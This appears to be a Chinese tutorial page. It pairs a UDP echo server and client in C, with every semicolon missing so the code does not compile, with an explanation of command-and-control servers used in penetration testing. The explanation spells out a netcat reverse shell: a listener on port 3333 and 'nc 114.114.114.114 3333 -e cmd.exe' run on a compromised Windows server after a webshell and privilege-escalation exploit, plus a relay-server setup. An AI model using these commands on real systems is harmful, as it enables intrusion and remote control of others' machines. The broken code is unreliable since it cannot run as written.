#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
int fd
int address_len
struct sockaddr_in address
//建立套接口
fd = socket(AF_INET, SOCK_DGRAM, 0)//SOCK_DGRAM
//绑定地址和端口
bzero(&address, sizeof(address))
address.sin_family = AF_INET
address.sin_addr.s_addr = htonl(INADDR_ANY)
address.sin_port = htons(1234)
address_len = sizeof(address)
bind(fd, (struct sockaddr *)&address, address_len)
while(1) {
struct sockaddr_in client_address
socklen_t len = sizeof(client_address)
int n
char line[80]
printf("waiting...")
fflush(stdout)
//接收数据
n = recvfrom(fd, line, 80, 0,
(struct sockaddr *)&client_address, &len)
printf("server received %d:%s", n, line)
//发送数据
sendto(fd, line, n, 0,
(struct sockaddr *)&client_address, len)
}
}
/* File: client.c */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(int argc, char **argv)
{
int fd
struct sockaddr_in address
int address_len
char line[80] = "Client to Server string!\n"
int n
//建立套接口
fd = socket(AF_INET, SOCK_DGRAM, 0)//AF_INET和SOCK_DGRAM的组合对应UDP协议
//联接
bzero(&address, sizeof(address))
address.sin_family = AF_INET
address.sin_addr.s_addr = inet_addr("193.193.196.1")
address.sin_port = htons(1234)
address_len = sizeof(address)
//发送数据
sendto(fd, line, strlen(line)+1, 0,
(struct sockaddr *)&address, sizeof(address))
//接收数据
n = recvfrom(fd, line, 80, 0, NULL, NULL)
printf("received %d:%s", n, line)
}
仔细读一下,最好下次能自己写^_^,起码要弄懂原理
C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器
通常在做渗透测试的时候,在拿到一个 webshell 的时候,需要对服务器进行提权操作,如果是一台 windows 的服务器,提权的时候通常是利用本地提权漏洞的 exp 进行溢出提权,有些 exp 可以直接在后面加参数,溢出成功之后执行参数中的命令。
而有的 exp 溢出成功之后是返回一个 system 权限的 cmd,这时就需要将低权限的 cmd shell 反弹回本地,这里用 nc 在本地执行:nc -vv -lp 3333
上述命令的意思是在本地监听一个 3333 端口等待连接,假设电脑 IP 是公网的,并且 IP 为 114.114.114.114,然后在目标服务器就可以执行:nc 114.114.114.114 3333 -e cmd.exe
上面的命令就可以把远程服务器的服务器权限的 cmd shell 返回到本地,这时你就可以通过 nc 建立的这个 shell 进行通信,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回,这时本机电脑就是一个简易的 C&C 服务器。
扩展资料:
C&C 服务器使目标机器可以接收来自服务器的命令,从而达到服务器控制目标机器的目的。该方法常用于病毒木马控制被感染的机器。
通常只有这样内网的服务器才可以访问进行连接,所以可以使用一台中转服务器,这台中转服务器有一个公网 IP 地址是:111.111.111.111,这样不管是目标服务器还是我们本机都可以访问这台中转服务器。
这里中转服务器的作用就是本地内网的主机监听的端口映射到公网 IP 的某个端口,这样目标机访问中转服务器监听的端口就相当于访问了我们本地监听的端口。
欢迎分享,转载请注明来源:夏雨云
评论列表(0条)